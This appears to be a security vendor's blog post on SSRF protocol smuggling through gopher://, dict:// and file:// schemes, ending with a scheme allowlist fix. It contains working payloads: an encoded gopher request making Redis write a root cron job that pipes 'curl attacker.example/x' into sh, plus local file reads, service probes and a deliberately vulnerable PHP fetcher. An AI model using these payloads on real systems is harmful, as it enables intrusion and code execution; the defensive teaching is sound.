SSRFProtocol Smuggling

Protocol Smuggling in SSRF: gopher, dict and file Schemes

When an SSRF fetcher accepts non-HTTP schemes, the attack stops being about reaching internal HTTP and starts being about speaking arbitrary protocols. gopher:// crafts raw TCP bytes to reach Redis or SMTP, dict:// probes services, and file:// reads local files. Here is how the smuggling works and how a strict scheme allowlist stops it.

SelfSec Team5 min read
Part 4 of 4from theSSRFseries
gopher://127.0.0.1:6379/_
On this page

Most SSRF write-ups end at "the attacker pointed the server at an internal HTTP address." That is the floor, not the ceiling. When the fetching library accepts more than http and https, an SSRF turns into a way to speak other protocols entirely — and the request still leaves from the server, carrying its trust and its network position. The schemes that matter are gopher://, which lets an attacker craft the raw TCP bytes a service receives, dict://, which talks just enough of a line protocol to probe and exfiltrate, and file://, which abandons the network and reads off local disk.

This is the difference between reaching an internal service and driving it. A plain HTTP SSRF can knock on Redis's port and watch it complain about a malformed request; a gopher:// SSRF can send Redis a valid command sequence and reconfigure it. This post walks through how non-HTTP schemes get smuggled in, what each one buys an attacker, and why an allowlist of exactly two schemes is the only fix that holds.

How it happens

The root cause is the same missing destination check as any SSRF, plus one extra omission: the code never constrains the scheme. A fetcher built on a do-everything client inherits every protocol that client supports, and libcurl-backed clients support a long list:

$url = $_GET['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);

The developer pictured url being an https:// link. But cURL will just as happily honor gopher://, dict://, file://, ftp:// and more. Nothing in this code says "only the web." The scheme is fully attacker-controlled, so the attacker chooses which protocol the server will speak — and to whom.

A concrete attack: gopher to Redis

gopher:// is the dangerous one because it sends raw bytes after the connection opens, with %-encoded characters becoming literal bytes on the wire. That is enough to forge a complete request to any line-based TCP service. Redis is the classic target: it listens on 6379, often binds to localhost with no auth, and speaks a plaintext protocol. The attacker encodes a sequence of Redis commands that rewrites its config and plants a cron job:

GET /fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2A/1+*+*+*+*+root+curl+attacker.example/x%7Csh%0A%0A%0D%0A HTTP/1.1
Host: app.example

Decoded, those bytes are valid RESP: a SET storing a cron line, followed by CONFIG SET dir /var/spool/cron, CONFIG SET dbfilename root, and SAVE — Redis writes its dump to the cron directory and the line executes minutes later. The same primitive reaches SMTP on 25 to forge mail, or any other protocol where a crafted byte stream is a valid command. CONFIG SET plus SLAVEOF is another well-worn route: point the victim at an attacker-controlled replica and load a malicious module for direct code execution.

The server did not just connect to Redis. It spoke fluent Redis on the attacker's behalf — every byte after the colon was dictated by the URL, and the service had no way to tell the difference from a local client.

dict:// is the lighter-weight cousin. It cannot send arbitrary bytes, but it opens a connection and emits a predictable command, which is enough to fingerprint a service from its banner or nudge simple protocols:

GET /fetch?url=dict://127.0.0.1:6379/info HTTP/1.1
GET /fetch?url=dict://10.0.0.5:11211/stats HTTP/1.1

And file:// drops the network entirely, turning the SSRF into local file disclosure — the same payoff as path traversal, reached through a URL parameter:

GET /fetch?url=file:///etc/passwd HTTP/1.1
GET /fetch?url=file:///proc/self/environ HTTP/1.1

Why a scheme check alone is not enough

Blocking the obvious schemes at the front door fails the same way IP blocklists fail: the value gets re-interpreted later in the pipeline. Two tricks dominate. The first is parser confusion — the validator and the HTTP client disagree about where the scheme ends, so a string that looks like https to one is gopher to the other:

https://expected.example#@127.0.0.1:6379/   parser splits the authority differently than cURL
gopher:/​/127.0.0.1:6379/_...                a stray character defeats a naive startswith("http")

The second is redirects. A front-end check that only inspects the submitted URL is blind to where a 3xx sends the client next, and cURL will follow a redirect into a smuggled scheme if CURLOPT_FOLLOWLOCATION is on:

HTTP/1.1 302 Found
Location: gopher://127.0.0.1:6379/_%2A1%0D%0A...

The attacker hosts that response on a domain that passes the allowlist; the server validates the harmless-looking original, fetches it, and obediently follows the Location header into Redis.

The fix: allowlist two schemes, kill redirects, block the internal world

The dependable fix is to decide up front that the fetcher speaks only the web, and enforce that the resolved request still obeys it. Validate the scheme against a two-item allowlist, refuse to follow redirects (or re-validate every hop), and check the resolved IP against blocked internal ranges — exactly as for any SSRF:

import ipaddress, socket
from urllib.parse import urlparse
import requests

ALLOWED_SCHEMES = {"http", "https"}
ALLOWED_HOSTS = {"images.example.com", "cdn.example.com"}

def safe_fetch(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("scheme not allowed")
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("host not allowed")

    resolved = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    if resolved.is_private or resolved.is_loopback or resolved.is_link_local:
        raise ValueError("internal address blocked")

    return requests.get(url, allow_redirects=False, timeout=5).content

Reinforce it where the HTTP client is configured, not just at the parameter. On a libcurl-based stack, pin the protocols explicitly so a smuggled scheme cannot execute even if validation is bypassed — curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS) and the matching CURLOPT_REDIR_PROTOCOLS — and set CURLOPT_FOLLOWLOCATION off unless you re-run the full check on each hop. Then back it with egress control: a fetcher routed through a proxy that allows only ports 80 and 443 to approved hosts cannot reach 6379 no matter how the URL is phrased.

How SelfSec finds it

SelfSec's crawler maps every parameter, header and form field that feeds an outbound request, then probes each one with alternate-scheme payloads — gopher://, dict:// and file:// aimed at localhost, link-local and private-range targets — alongside the IP-encoding and redirect-to-smuggled-scheme tricks that slip past a front-door check. It confirms a finding only when the response carries proof the smuggled protocol actually executed: a Redis or memcached banner returned through dict://, internal file contents through file://, or the service-side side effect of a crafted gopher:// byte stream, rather than guessing from the payload alone. The whole scan runs locally on 127.0.0.1, your targets and findings stay on your machine, and each finding ships with a reproduction request you can replay.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about SSRF

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The SSRF series

  1. 01OverviewSSRF, Explained: When Your Server Becomes the Attacker's Proxy3 min
  2. 02BlindBlind and Out-of-Band SSRF: Detecting the Request You Can't See5 min
  3. 03Cloud MetadataCloud-Metadata SSRF: From One URL to Full Account Takeover5 min
  4. 04Protocol SmugglingProtocol Smuggling in SSRF: gopher, dict and file SchemesReading

Related reading